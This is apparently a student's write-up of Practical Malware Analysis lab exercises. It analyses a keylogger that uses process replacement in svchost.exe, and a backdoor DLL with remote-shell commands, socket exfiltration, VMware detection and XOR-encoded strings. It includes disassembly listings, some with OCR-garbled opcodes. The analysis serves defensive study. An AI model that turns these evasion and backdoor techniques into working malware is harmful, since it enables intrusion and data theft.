Wireshark.exe	0.20	95,416 K	6,244 K	1536	Wireshark	The Wireshark developer...
procexp.exe		37,912 K	42,944 K	688	Sysinternals Process Explorer	Sysinternals - www.sysinter...
svchost.exe		864 K	2,252 K	4080	Generic Host Process for Wi...	Microsoft Corporation

Figure 1.1 — Orphaned svchost.exe

An orphaned process is one with no parent listed in the process tree. `svchost.exe` typically has a parent process of `services.exe`, but this one being orphaned is unusual and suspicious.

Investigating this instance of `svchost.exe`, we see it has a Parent: `Lab03-03.exe (904)`, confirming it's come from executing `Lab03-03.exe`. Exploring the properties further, we don't see much anomalous until we get to the strings.

ii- Utilizing strings within [Process Explorer](#) is actually a useful trick to analyse malware which is packed or encrypted, because the malware is running and unpacks/decodes itself when it starts. We're also able to view strings in both the image on disk and in memory.




Figure 2.1 — Comparing strings in memory from process explorer and from running strings on Lab03-03.exe

Taking advantage of this, we can inspect the strings in Image and in Memory, as well as compare against what we found from `strings` during quick static analysis.


The strings on image appear pretty consistent with other instances of `svchost.exe` however, within Memory, these much greater resemble what we discovered earlier, but with a few distinct differences — `practicalmalware.log` and a set of keyboard commands (Figure 2.1). This is an indicator that the keylogger guess might be accurate.

iii- To test the keylogger hypothesis, we can open something and type stuff. To target explicitly on the malware, filter on the suspect `svchost.exe` (PID, 3936) within Process Monitor, and we see a whole load of file manipulation for `practicalmalwareanalysis.log` (Figure 3.1).

5.47.3.. svchost.exe	3896	CloseFile	C:\Documents and Settings\A..SUCCESS	DesiredAccess: Generic Write, Read Attributes, Disposition: Open AllocationSize: 344, EndOfFile: 342, NumberOfUnits: 1, DeletePen
5.47.3.. svchost.exe	3898	CreateFile	C:\Documents and Settings\A..SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open Offset: 342, Length: 1
5.47.3.. svchost.exe	3898	QueryStandardI..	C:\Documents and Settings\A..SUCCESS	AllocationSize: 344, EndOfFile: 342, NumberOfLinks: 1, DeletePen
5.47.3.. svchost.exe	3898	WriteFile	C:\Documents and Settings\A..SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open AllocationSize: 344, EndOfFile: 343, NumberOfLinks: 1, DeletePen
5.47.3.. svchost.exe	2006	CloseFile	C:\Documents and Settings\A..SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open Offset: 343, Length: 1
5.47.3.. svchost.exe	3936	CreateFile	C:\Documents and Settings\A..SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open AllocationSize: 344, EndOfFile: 343, NumberOfLinks: 1, DeletePen
5.47.3.. svchost.exe	3936	QueryStandardI..	C:\Documents and Settings\A..SUCCESS	AllocationSize: 345, EndOfFile: 343, NumberOfLinks: 1, DeletePen
5.47.3.. svchost.exe	3936	WriteFile	C:\Documents and Settings\A..SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open Offset: 343, Length: 1
5.47.3.. svchost.exe	3936	WriteFile	C:\Documents and Settings\A..SUCCESS	Desired Access: Generic Write, Read Attributes, Disposition: Open Offset: 343, Length: 1
5.47.3.. svchost.exe	3936	WriteFile	C:\Documents and Settings\Administrator\Desktop\practicalmalwareanalysis\Lab03\malicious\Lab03-03\malicious\Chapter_3\practicalmalwareanalysis.log	Desired Access: Generic Write, Read Attributes, Disposition: Open AllocationSize: 416, EndOfFile: 411, NumberOfUnits: 1, DeletePen
5.47.3.. svchost.exe	3936	CloseFile	C:\Documents and Settings\A..SUCCESS	DesiredAccess: Generic Write, Read Attributes, Disposition: Open AllocationSize: 416, EndOfFile: 411, NumberOfUnits: 1, DeletePen
5.47.3.. svchost.exe	3936	CloseFile	C:\Documents and Settings\A..SUCCESS	DesiredAccess: Generic Write, Read Attributes, Disposition: Open

Figure 3.1 — Process Monitor file manipulation from malicious svchost.exe

iv- Opening `practicalmalwareanalysis.log`, we find that the file captures inputted strings and distinctive keyboard commands as seen within the memory strings from [Process Explorer](#) (Figure 4.1). This confirms that **Lab03-03.exe** a keylogger using process replacement on `svchost.exe`.



```
[window: 3_2 - Notepad]
S
[window: Process Monitor Filter]
3936
[window: Analysis]
test@ [ENTER]
[window: test - Notepad]
this is a test to see if we are getting key logged@ [ENTER]pBACKSPACE my password is supersecretpassword12311@ [ENTER]@ [ENTER]goodbye@ [ENTER]s
[window: Program Manager]
S
[window: Process Monitor - sysinternals: www.sysinternals.com]
ss,
[window: svchost.exe:3936 Properties]
```

Figure 4.1 — Evidence of Lab03-03.exe keylogging

h. Analyze the malware found in the file Lab03-04.exe using basic dynamic analysis tools.

i-What happens when you run this file?

When we run the file. Process is created which opens up the CMD and then deleted the original executable after making it execute and hide itself somewhere else.

ii-What is causing the roadblock in dynamic analysis?

The executable is evasive and trying to evade itself by checking whether the system is VM or not. AV-Detection etc. Obviously this will make it difficult to observe the file via dynamic analysis.

iii- Are there other ways to run this program?

The other ways can be to open this executable using Ollydbg or IDA pro where we can analyze it in a more efficient way.

Practical No. 2

a. Analyze the malware found in the file Lab05-01.dll using only IDA Pro. The goal of this lab is to give you hands-on experience with IDA Pro. If you've already worked with IDA Pro, you may choose to ignore these questions and focus on reverse engineering the malware

[IDA Pro](#), an Interactive Disassembler, is a disassembler for computer programs that generates assembly language source code from an executable or a program. IDA Pro enables the disassembly of an entire program and performs tasks such as function discovery, stack analysis, local variable identification, in order to understand (or change) its functionality.

This lab utilises IDA to explore a malicious .dll and demonstrates various techniques for navigation and analysis. Any useful shortcuts will be identified.

i. What is the address of DllMain?

The address off DllMain is `0x1000D02E`. This can be found within the graph mode, or within the Functions window (figure 2).

```

000000001000002E
000000001000002E
000000001000002E
000000001000002E
000000001000002E ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
000000001000002E DllMain proc near
000000001000002E
000000001000002E hinstDLL= dword ptr 4
000000001000002E fdwReason= dword ptr 8
000000001000002E lpvReserved= dword ptr 0Ch
000000001000002E
000000001000002E 8B 44 24 08 mov eax, [esp+fdwReason]
0000000010000032 48 dec eax ; Decrement by
0000000010000033 0F 85 CE 00 00 00 jnz loc_1000D107 ; Jump if Not
0000000010000039 8B 44 24 04 mov eax, [esp+hinstDLL]
000000001000003A 5C

Functions window
Function name Segment Start
BlockInput .text 0000000010001182
CreateToolhelp32Snapshot .text 00000000100011C4
GetEntryPoint .text 0000000010001520
DllMain .text 000000001000D02E
EnumProcessModules .text 00000000100011AC
Find .text 00000000100070C
GetAdaptersInfo .text 0000000010001182
GetModuleHandleExA .text 00000000100011A8
HandleProc .text 00000000100011C0
ICClose .text 0000000010001130
ICCompress .text 00000000100011D0
ICImageCompress .text 000000001000113CA

```

Figure 2: Address of DllMain

ii. Where is the import gethostbyname located?

gethostbyname is located at `0x100163CC` within `.idata` (figure 3). This is found through the Imports window and double-clicking the function. Here we can also see gethostbyname also takes a single parameter — something like a string.

```

.idata:100163CC ; struct hostent * __stdcall gethostbyname(const char *name)
.idata:100163CC extrn gethostbyname:dword
.idata:100163CC ; CODE XREF: sub_10001074:loc_100011Afp
.idata:100163CC ; sub_10001074+1D3fp ...

```

Figure 3: Location of gethostbyname

iii. How many functions call gethostbyname?

Searching the xrefs (ctrl+x) on gethostbyname shows it is referenced 18 times, 9 of which are type (p) for the near call, and the other 9 are read (r) (figure 4). Of these, there are 5 unique calling functions.

xrefs to gethostbyname

Direction	Type	Address	Text
Up	p	sub_10001074:loc_10001...	call ds:gethostbyname
Up	p	sub_10001074+1D3	call ds:gethostbyname
Up	p	sub_10001074+268	call ds:gethostbyname
Up	p	sub_10001365:loc_10001...	call ds:gethostbyname
Up	p	sub_10001365+1D3	call ds:gethostbyname
Up	p	sub_10001365+268	call ds:gethostbyname
Up	p	sub_10001656+101	call ds:gethostbyname
Up	p	sub_1000208F+3A1	call ds:gethostbyname
Up	p	sub_10002CCE+4F7	call ds:gethostbyname
Up	r	sub_10001074:loc_10001...	call ds:gethostbyname
Up	r	sub_10001074+1D3	call ds:gethostbyname
Up	r	sub_10001074+268	call ds:gethostbyname
Up	r	sub_10001365:loc_10001...	call ds:gethostbyname
Up	r	sub_10001365+1D3	call ds:gethostbyname
Up	r	sub_10001365+268	call ds:gethostbyname
Up	r	sub_10001656+101	call ds:gethostbyname
Up	r	sub_1000208F+3A1	call ds:gethostbyname
Up	r	sub_10002CCE+4F7	call ds:gethostbyname

OK Cancel Search

Line 1 of 18

Figure 4: gethostbyname xrefs

iv. For gethostbyname at 0x10001757, which DNS request is made?

Pressing G and navigating to 0x10001757, we see a call to thegethostbyname function, which we know takes one parameter; in this case, whatever is in eax — the contents of off_10019040 (figure 5)

```
000000001000174E A1 40 90 01 10    mov    eax, off_10019040
0000000010001753 83 C0 0D          add    eax, 0Dh           ; Add
0000000010001756 50                push   eax              ; name
0000000010001757 FF 15 CC 63 01 10 call   ds:gethostbyname ; Indirect Call Near Procedure
000000001000175D 8B F8          mov    esi, eax
000000001000175F 3B F3          cmp    esi, ebx           ; Compare Two Operands
0000000010001761 74 5D          jz     short loc_100017C0 ; Jump if Zero (ZF=1)
```

Figure 5: gethostbyname at 0x10001757

The contents of off_10019040 points to a variable aThisIsRdoPicsP which contains the string [This is RDO]pics.practicalmalwareanalysis.com. This is moved into eax (figure 6).

```
000000001000174E A1 40 90 01 10    mov    eax, off_10019040
0000000010001753 83 C0 0D          add    eax, 13            dd offset aThisIsRdoPicsP
0000000010001756 50                push   eax
0000000010001757 FF 15 CC 63 01 10 call   ds:gethost... ; DATA XREF: sub_10001556:loc_10001722F...
000000001000175D 8B F8          mov    esi, eax
000000001000175F 3B F3          cmp    esi, ebx           ; Compare Two Operands
0000000010001761 74 5D          jz     short loc_100017C0 ; Jump if Zero (ZF=1)
0000000010001761
```

Figure 6: Contents of off_1001904 (aThisIsRdoPicsP)

Importantly, `0Dh` is added to `eax`, which moves the pointer along the current contents. `0Dh` can be converted in IDA by pressing `H`, to 13. This means the `eax` now points to 13 characters inside of its current contents, skipping past the prefix [This is RDO] and resulting in the DNS request being made for `pics.practicalmalwareanalysis.com`.

v & vi. How many parameters and local variables are recognized for the subroutine at `0x10001656`?

There are a total of 24 variables and parameters for `sub_10001656` (figure 7).

```

0000000010001656
0000000010001656
0000000010001656
0000000010001656 ; DWORD __stdcall sub_10001656(LPVOID lpThreadParameter)
0000000010001656 sub_10001656 proc near
0000000010001656
0000000010001656 var_675= byte ptr -675h
0000000010001656 var_674= dword ptr -674h
0000000010001656 hModule= dword ptr -670h
0000000010001656 timeout= timeval ptr -66Ch
0000000010001656 name= sockaddr ptr -664h
0000000010001656 var_654= word ptr -654h
0000000010001656 Dst= dword ptr -650h
0000000010001656 Str1= byte ptr -644h
0000000010001656 var_640= byte ptr -640h
0000000010001656 CommandLine= byte ptr -63Fh
0000000010001656 Str= byte ptr -630h
0000000010001656 var_638= byte ptr -638h
0000000010001656 var_637= byte ptr -637h
0000000010001656 var_544= byte ptr -544h
0000000010001656 var_50C= dword ptr -50Ch
0000000010001656 var_500= byte ptr -500h
0000000010001656 Buf2= byte ptr -4FCh
0000000010001656 readfds= fd_set ptr -48Ch
0000000010001656 buf= byte ptr -3B8h
0000000010001656 var_380= dword ptr -380h
0000000010001656 var_1A4= dword ptr -1A4h
0000000010001656 var_194= dword ptr -194h
0000000010001656 WSADATA= WSADATA ptr -190h
0000000010001656 lpThreadParameter= dword ptr 4
0000000010001656
0000000010001656 81 EC 78 06 00 00 sub esp, 678h ; Integer Subtraction
000000001000165C 53 push ebx
000000001000165D 55 push ebp
000000001000165E 56 push esi
000000001000165F 57 push edi
0000000010001660 E8 98 F9 FF FF call sub_10001000 ; Call Procedure
0000000010001660
0000000010001665 85 C0 test eax, eax ; Logical Compare
0000000010001667 75 53 jnz short loc_100016BC ; Jump if Not Zero (ZF=0)
0000000010001667

```

Figure 7: `sub_10001656` parameters and variables

Local variables correspond to negative offsets, where there are 23. Many are generated by IDA and prepended with var_ however there are some which have been resolved, such as name or commandline. As we work through, we generally rename any of the important ones.

Parameters have positive offsets. Here there is one, currently lpThreadParameter. This may also be seen as arg_0 if not automagically resolved.

vii. Where is the string \cmd.exe /c located in the disassembly?

Press Alt+T to perform a string search for \cmd.exe /c, which is stored as aCmdExeC, found within sub_1000FF58 at offset 0x100101D0 (figure 8).




Figure 8: Location of '\cmd.exe /c'

viii. What happens around the referencing of \cmd.exe /c?

The command cmd.exe /c opens a new instance of cmd.exe and the /c parameter instructs it to execute the command then terminate. This suggests that there is likely a construct of something to execute somewhere nearby.

Taking a cursory look around sub_1000FF58, we see several indications of what might be happening. Look for push offset X for quick wins.

Towards the top of the function, we see an address that is quite telling of what is happening. The offset aHiMasterDDDDDD called at 0x1001009D contains a long message which includes several strings relating to system time information (actually initialised just before), but more notably reference to a **Remote Shell** (figure 9).




Figure 9: Contents of offset aHiMasterDDDDDD

Further on throughout the function, there are more interesting offset addresses with strings that may provide an indication of activity.

Offset	String
aQuit	Quit
aExit	Exit
aCd	cd
asc_10095C5C	>
aEnmagic	enmagic
a0x02x	\r\n\r\n0x%02x\r\n\r\n
aIdle	idle
aUptime	uptime
aLanguage	language
aRobotwork	robotwork
aMbase	mbase
aMhost	mhost
aMmodule	mmodule
aMinstall	minstall
aInject	inject
aExploreExe	iexplore.exe
aCreateprocessG	CreateProcess() GetLastError reports %d

Figure 10: Offset strings within sub_1000FF58

Some of which are likely part of any commandline activity, whereas others may be additional modules. Some of the notable ones might be aInject, aExploreExe, and aCreateProcessG, which could be indicative of process injection into iexplore.exe.

ix. At 0x100101C8, dword_1008E5C4 indicates which path to take. How does the malware set dword_1008E5C4?

The comparison of dword_1008E5C4 and ebx will determine whether \cmd.exe /c or \command.exe /c is pushed; likely based upon the Operating System version to utilise the correct command prompt (figure 11).



Figure 11: cmd.exe or command.exe options

Following the xrefs of `dword_1008E5C4`, we see it written (type w) in `sub_10001656`, with the value of `eax`. There is a preceding call to `sub_10003695`, where the function takes a look at the system's Version Information (using API call `GetVersionExA`) (figure 12).




Figure 12:

There is a comparison between the `VersionInformation.dwPlatformId` and 2, so looking at the [Windows Platform IDs](#) we see that it is looking to see if 'The operating system is Windows NT or later.' If it is, then `\cmd.exe /c` is pushed. If not, then it is `\command.exe /c`.

x. What happens if the string comparison to robotwork is successful?

The `robotwork` string comparison is completed using the function `memcmp`, which returns 0 if the two strings are identical. The `JNZ` branch jumps if the result **Is Not Zero**. This means, if the `robotwork` comparison is successful, returning 0, then the jump does not execute (the red path). If the `memcmp` was unsuccessful, then some other non-zero value would be returned and the jump (green path) would be followed (figure 13).




Figure 13: `memcmp` of `robotwork`

Not jumping, (and following the red path), leads to a new function `sub_100052A2` which includes registry keys `SOFTWARE\Microsoft\Windows\CurrentVersion\WorkTime` and `WorkTimes`. The function is looking for values within the `WorkTime` and `WorkTimes` (`RegQueryValueExA`) and if so, are displayed as part of the relevant `aRobotWorktime` offset addresses (via `$d`) (figure 14).

Figure 14: Querying SOFTWARE\Microsoft\Windows\CurrentVersion\WorkTime and WorkTimes registry keys

The start of the function takes in a parameter for SOCKET as **s**, which is then passed through to a new function (**sub_100038EE**) along with the registry values (**ebp**) (figure 15).

Figure 15: Passing registry values through SOCKET s

Therefore, if the string comparison for `robotwork` is successful, the registry keys `SOFTWARE\Microsoft\Windows\CurrentVersion\WorkTime` and `WorkTimes` are queried and the values passed through (likely) the remote shell connection.

xi. What does the export PSLIST do?

Name	Address	Ordinal
InstallIRT	000000001000D847	1
InstallSA	000000001000DEC1	2
InstallSB	000000001000E892	3
PSLIST	0000000010007025	4
ServiceMain	000000001000CF30	5
StartEXS	0000000010007ECB	6
UninstallIRT	000000001000F405	7
UninstallSA	000000001000EA05	8
UninstallSB	000000001000F138	9
DllEntryPoint	000000001001516D	[main entry]

Figure 16: Exports view

Open the exports list and find the exported function PSLIST. (figure 16).

Navigate here and see there are three subroutines. One of which queries OS version information (similar as seen in Q9, but this time also sees if dwMajorVersion is 5 for more specific OS footprinting ([dwMajorVersions](#))), and depending on the outcome, will call either `sub_10006518` or `sub_1000664C` (figure 17).




Figure 17: PSLIST exported function paths

Both `sub_10006518` and `sub_1000664C` utilise `CreateToolhelp32Snapshot` to take a snapshot of the specified processes and associated information, and then execute appropriate commands to query the running processes IDs, names, and the number of threads. `sub_1000664C` also includes the `SOCKET(s)` to send the output out to (figure 18).




Figure 18: Using `CreateToolhelp32Snapshot`, querying running processes, and sending to socket

xii. Which API functions could be called by entering sub_10004E79?

A useful way to quickly see what API functions are called by a certain subroutine is through the Proximity Brower view, this transforms the standard Graph or Text views into a much more condensed graph highlighting which API functions or subroutines are called (figure 19)




Figure 19: Proximity View of sub_10004E79

Function	Description
GetSystemDefaultLangID	Returns language identifier to determine system language
sub_100038EE	Subroutine previously seen to send data via SOCKET
sprintf	Sends formatted string output
strlen	Gets the length of a string
aLanguageId0xX	Offset containing: '[Language:] id:0x% <i>x</i> '

Figure 20: Functions called by sub_10004E79

The functions called from sub_10004E79 (figure 20) indicate that the functionality is to identify the language used on the system, and then pass that information through the SOCKET (as we've seen sub_100038EE before). It might make sense to rename sub_10004E79 to something like `getSystemLanguage`. While we're at it, we might aswell rename sub_100038EE to something like `sendSocket`.

xiii. How many Windows API functions does DllMain call directly, and how many at a depth of 2?

Another way to view the API functions called from somewhere, is through View -> Graphs -> User XRef Chart. Set start and end addresses to `DllMain` and the Recursion depth to 1 to see four API functions called (figure 21). At a depth of 2, there are around 32, with some duplicates.




Figure 21: API functions called by DllMain.

Some of the more notable API calls which may provide indication of functionality are: sleep
winexec gethostbyname inet_nota CreateThread WSAStartup inet_addr recv send
socket connect LoadLibraryA

xiv. How long will the Sleep API function at 0x10001358 execute for?

At first glance, one might think that the value passed to the sleep is 3E8h (1000), equating to 1 second, however it is a imul call which means the value at eax is getting multiplied by 1000. Looking up, we see that aThisIsCti30 at the offset address is moved into eax and then the pointer is moved 13 along (similar to what's seen in Q2) (figure 22).




Figure 22: Sleep for 30 seconds

This means that the value of eax when it is pushed is 30. atoi converts the string to an integer, and it is multiplied by 1000. Therefore, the Sleep API function sleeps for 30 seconds.

xv & xvi. What are the three parameters for the call to socket at 0x10001701?

The three values pushed to the stack, labeled as protocol, type, and af, and are 6, 1, 2 respectively, are the three parameters used for the call to socket (figure 23).

```

00000000100016FB          loc_100016FB:    ; protocol
00000000100016FB          push   6
00000000100016FD 6A 86    push   1           ; type
00000000100016FF 6A 02    push   2           ; af
0000000010001701 FF 15 F8 63 01 10  call   ds:socket      ; Indirect Call Near Procedure
0000000010001707 8B F8    mov    edi, eax; SOCKET __stdcall socket(int af, int type, int protocol)
0000000010001709 B3 FF FF  cmp    edi, 0FFh           extrn socket:dword ; CODE XREF: sub_10001656+ABTp
000000001000170C 75 14    jnz    short loc_1000170C

```

Figure 23: Call to socket at 0x10001701

These depict what type of socket is created. Using [Socket Documentation](#) we can determine that in this case, it is TCP IPV4. At this point, we might as well rename those operands (figure 24).

Parameter	Description	Value	Meaning
af	Address Family specification	2	IF_INET
type	Type of socket	1	SOCK_STREAM
protocol	Protocol used	6	IPPROTO_TCP

```

loc_100016FB:    ; protocol
push   IPPROTO_TCP
push   SOCK_STREAM
push   IF_INET
call   ds:socket      ; Indirect Call

```

Figure 24: Definitions and renaming of socket parameters

xvii. Is there VM detection?

Occurrences of binary: 0xED		
Address	Function	Instruction
.text:10001098	sub_10001074	xor ebp, ebp; Logical Exclusive OR
.text:10001181	sub_10001074	test ebp, ebp; Logical Compare
.text:10001222	sub_10001074	test ebp, ebp; Logical Compare
.text:100012BE	sub_10001074	test ebp, ebp; Logical Compare
.text:1000135F	sub_10001074	xor ebp, ebp; Logical Exclusive OR
.text:10001389	sub_10001365	xor ebp, ebp; Logical Exclusive OR
.text:10001472	sub_10001365	test ebp, ebp; Logical Compare
.text:10001513	sub_10001365	test ebp, ebp; Logical Compare
.text:100015AF	sub_10001365	test ebp, ebp; Logical Compare
.text:10001650	sub_10001365	xor ebp, ebp; Logical Exclusive OR
.text:100030AF	sub_10002CCE	call strcat; Call Procedure
.text:10003DE2	sub_10003DC6	lea edi, [ebp+var_813]; Load Effective Address
.text:10004326	sub_100042DB	lea edi, [ebp+var_913]; Load Effective Address
.text:10004B15	sub_10004B01	lea edi, [ebp+var_213]; Load Effective Address
.text:10005305	sub_100052A2	jmp loc_100053F6; Jump
.text:10005413	sub_100053F9	lea edi, [ebp+var_413]; Load Effective Address
.text:1000542A	sub_100053F9	lea edi, [ebp+var_213]; Load Effective Address
.text:10005B98	sub_10005B84	xor ebp, ebp; Logical Exclusive OR
.text:100061DB	sub_10006196	in eax, dx

Figure 25: Searching for the in instruction using 0xED in binary.

The in instruction (opcode 0xED) is used with the string *VMXh* to determine whether the malware is running inside VMware. 0xED can be searched (alt+B) and look for the in instruction (figure 25).

From here, we can navigate into the function and see what is going on within sub_10006196.


```

00000000100061C6 53      push    ebx
00000000100061C7 88 68 58 4D 56  mov     eax, 'VMXh'
00000000100061CC BB 00 00 00 00  mov     ebx, 0
00000000100061D1 B9 0A 00 00 00  mov     ecx, 10
00000000100061D6 BA 58 56 00 00  mov     edx, 'VX'
00000000100061DB ED      in      eax, dx
00000000100061DC 81 FB 68 58 4D 56  cmp     ebx, 'VMXh' ; Compare Two Operands
00000000100061E2 0F 94 45 E4      setz   [ebp+var_1C] ; Set Byte if Zero (ZF=1)
00000000100061EE C9      ret

```

Figure 26: in instruction within sub_10006196

Directly around the `in` instruction, we see evidence of the string `VMXh` (converted from original hex value) (figure 26), which is potentially indicative of VM detection. If we look at the other xrefs of `sub_10006196` we see three occurrences, each of which contains a `FoundVirtualMa`, indicating the install is canceling if a Virtual Machine is found (figure 27).

Figure 27: Found Virtual Machine string found after `VMXh` string

xviii, xix, & xx. What is at 0x1001D988?

The data starting at `0x1001D988` appears illegible, however, we can convert this to ASCII (by pressing A), albeit still unreadable (Figure 28).

.data:1001D988	db 20h ; -
.data:1001D989	db 31h ; 3
.data:1001D98A	db 3Ah ; :
.data:1001D98B	db 3Ah ; :
.data:1001D98C	db 27h ; ^
.data:1001D98D	db 75h ; u
.data:1001D98E	db 3Ch ; <
.data:1001D98F	db 26h ; 8
.data:1001D988	alUUU7461Yu2u10 db '-1:', 27h, 'u<&u!=<&u746>1:', 27h, 'yu8!', 27h, '<2u106:101u3:', 27h, 'u'
.data:1001D989	db 5
.data:1001D98A	a46649u db 27h, '46!<649u'
.data:1001D98B	db 18h
.data:1001D98C	a4940u db '49'4', 27h, '0u'
.data:1001D98D	db 14h
.data:1001D98E	a49u db '49,&<8u'
.data:1001D98F	db 19h
.data:1001D990	a47uoDgfa db '47uo dgfa', 0
.data:1001D998	db 36h ; 6
.data:1001D999	db 3Eh ; >
.data:1001D99A	db 31h ; 3
.data:1001D99B	db 3Ah ; :
.data:1001D99C	db 3Ah ; :
.data:1001D99D	db 27h ; :
.data:1001D99E	db 79h ; y
.data:1001D99F	db 75h ; u
.data:1001D9A0	db 26h ; 8
.data:1001D9A1	db 21h ; !
.data:1001D9A2	db 27h ; :
.data:1001D9A3	db 3Ch ; <
.data:1001D9A4	db 38h ; :
.data:1001D9A5	db 32h ; 2

Figure 28: Random data at `0x1001D988`

We have been provided a python script with the lab `lab05-01.py` which is to be used as an IDA plugin for a simple script. For `0x50` bytes from the current cursor position, the script performs an XOR of `0x55`, and prints out the resulting bytes, likely to decode the text (figure 29).

```
sea = ScreenEA()
for i in range(0x00,0x50):
    b = Byte(sea+i)
    decoded_byte = b ^ 0x55
    PatchByte(sea+i,decoded_byte)
```

Figure 29: XOR 0x55 script

We are unable to do this within the free version of IDA, however we can loosely do it manually ourselves by taking the bytes from `0x1001D98E` and doing XOR `0x55`.

Evidently, the conversion to ASCII and manual decoding has messed up something with the capitalisation, but we can see some plaintext and determine the completed message (figure 30)




Figure 30: Manual XOR 0x55

b. analyze the malware found in the file Lab06-01.exe.

i. What is the major code construct found in the only subroutine called by main?

Before we start, it is worth noting that sometimes IDA does not recognise the `main` subroutine. We can find this quite quickly by traversing from the `start` function and finding `sub_401040`. This is `main` as it contains the required parameters (`argc` and `**argv`). I renamed the subroutine to `main` (figure 1).

```

0000000000401040
0000000000401040
0000000000401040 ; Attributes: bp-based frame
0000000000401040
0000000000401040 ; int __cdecl main(int argc, const char **argv, const char **envp)
0000000000401040
0000000000401040
0000000000401040
0000000000401040 ; var_4= dword ptr -4
0000000000401040
0000000000401040
0000000000401040 ; argc= dword ptr 8
0000000000401040
0000000000401040 ; argv= dword ptr 0ch
0000000000401040
0000000000401040 ; envp= dword ptr 18h
0000000000401040
0000000000401040 55 push ebp
0000000000401041 8B EC mov esp, ebp
0000000000401043 51 push ecx
0000000000401044 E8 B7 FF FF FF call sub_401000 ; Call Procedure
0000000000401049 89 45 FC mov [ebp+var_4], eax
000000000040104C 83 70 FC 00 cmp [ebp+var_4], 0 ; Compare Two Operands
0000000000401050 75 04 jnz short loc_401056 ; Jump if Not Zero (ZF=0)

```

Breakpoint 1
0000000000401052 33 C0 xor eax, eax ; Logical Exclusive OR
0000000000401054 EB 05 jmp short loc_401058 ; Jump

Breakpoint 2
0000000000401058 33 C0 xor eax, eax ; Logical Exclusive OR
000000000040105A EB 05 jmp loc_401056

Breakpoint 3
000000000040105B 33 C0 xor eax, eax ; Logical Exclusive OR
000000000040105D 89 EC mov esp, ebp
000000000040105E 5D pop ebp
000000000040105F C3 ret ; Return Near From Procedure
000000000040105E main endp
000000000040105E

Figure 1: Lab06-01 | main subroutine

Navigating into the first subroutine called in main (`sub_401000`) (figure 2), we see it executes an external API call `InternetGetConnectedState`, which returns a TRUE if the system has an internet connection, and FALSE otherwise. This is followed by a comparison against 0 (FALSE) and then a `JZ` (Jump If Zero). This means the jump will be successful if `InternetGetConnectedState` returns FALSE (0) (There is no internet connection).

```

0000000000401000
0000000000401000
0000000000401000
0000000000401000
0000000000401000
0000000000401000
0000000000401000
0000000000401000 53 push ebp
0000000000401001 8B EC mov esp, ebp
0000000000401003 51 push ecx
0000000000401004 54 00 push 0 ; datumword
0000000000401005 54 00 push 0 ; lpdwFlags
0000000000401009 75 35 JNZ sub_401000 ; indirect call near reverence
000000000040100E 89 25 FC 00 mov [ebp+var_4], eax
0000000000401011 83 70 FC 00 cmp [ebp+var_4], 0 ; Compare Two Operands
0000000000401014 77 04 jz short loc_40102B ; Jump if zero (ZF=1)

```

Breakpoint 1
0000000000401000 33 90 push offset successInternet ; "Success: Internet Connection\n"
0000000000401000 33 90 push offset errorNoInternet ; "Error 1.1: No Internet\n"
0000000000401000 33 90 push offset sub_40102B
0000000000401000 33 90 push offset sub_40105F ; Call Procedure
0000000000401000 33 90 add esp, 4
0000000000401000 33 90 mov eax, 1
0000000000401000 33 90 jmp short loc_40103A ; Jump

Breakpoint 2
000000000040103A 33 90 push offset loc_40103B ; loc_40103B
000000000040103A 33 90 xor eax, eax ; Logical Exclusive OR
000000000040103A 33 90 xor eax, esp
000000000040103A 3D pop ebp
000000000040103A C3 ret ; Return Near From Procedure
000000000040103A sub_401000 endp

Figure 2: Lab06-01 | sub_401000 internet connection test

Therefore, the jump path (`short loc_40102B`) is taken and the string returned will be '`Error 1.1: No Internet\n`'.

`InternetGetConnectedState` returns TRUE, then the jump is not successful, and the returned string is '`Success: Internet Connection\n`'.

Based upon this, it can be determined that the major code construct is a basic **If Statement**.

ii. What is the subroutine located at 0x40105F?

Given the proximity to the strings at the offset addresses in each path, it can be assumed that `sub_40105F` is `printf`, a function used to print text with formatting (supported by the `\n` for newline in the strings).

IDA didn't automatically pick this up for me, but with some cross-referencing and looking into what we would expect as parameters, we can be safe in the assumption.

iii. What is the purpose of this program?

`Lab06-01.exe` is a simple program to test for internet connection. It utilises API call `InternetGetConnectedState` to determine whether there is internet, and prints an advisory string accordingly.

c. Analyze the malware found in the file *Lab06-02.exe*.

i & ii. What operation does the first subroutine called by main perform? What is the subroutine located at 0x40117F?

This is very similar to `Lab06-01.exe`. We can easily find the `main` subroutine again (this time `sub_401130`), and again we see the first subroutine called is `sub_401000`. This is very similar as it calls `InternetGetConnectedState` and prints the appropriate message (figure 3). We also can verify that `0x40117F` is still the `printf` function, which I've renamed.



Figure 3: Lab06-02 | `sub_401000` internet connection test & `sub_40117F` (`printf`)

iii. What does the second subroutine called by main do?

This is something new now; the `main` function in `Lab06-02.exe` is a little more complex with an added subroutine and another conditional statement (figure 4). We can see that `sub_401040` is reached by the preceding `cmp` to 0 being successful (`jnz` jump if not 0), which therefore means

we're hoping for the returned value from `sub_401000` to be not 0 — indication there IS internet connection.




Figure 4: Lab06-02 | main subroutine

Navigating to `sub_401040`, we immediately see some key information, which supports the determination that this occurs if there is an internet connection.

The most stand-out information is the two API calls, `InternetOpenA` and `InternetOpenUrlA`, which are used to initiate an internet connection and open a URL. We also see some strings at offset addresses just before these, indicating these are passed to the API calls (figure 5).

```

0000000000401040
0000000000401040
0000000000401040 ; Attributes: bp-based frame
0000000000401040
0000000000401040 sub_401040 proc near
0000000000401040
0000000000401040 Buffer= byte ptr -210h
0000000000401040 var_20F= byte ptr -20Fh
0000000000401040 var_20E= byte ptr -20Eh
0000000000401040 var_20D= byte ptr -20Dh
0000000000401040 var_20C= byte ptr -20Ch
0000000000401040 hFile= dword ptr -10h
0000000000401040 hInternet= dword ptr -0Ch
0000000000401040 dwNumberOfBytesRead= dword ptr -8
0000000000401040 var_4= dword ptr -4
0000000000401040
0000000000401040 55 push ebp
0000000000401041 BB EC mov ebp, esp
0000000000401043 81 EC 10 02 00 00 sub esp, 528 ; Integer Subtraction
0000000000401049 6A 00 push 0 ; dwFlags
000000000040104B 6A 00 push 0 ; lpszProxyBypass
000000000040104D 6A 00 push 0 ; lpszProxy
000000000040104F 6A 00 push 0 ; dwAccessType
0000000000401051 68 F4 78 40 00 push offset szAgent ; "Internet Explorer 7.5/pma"
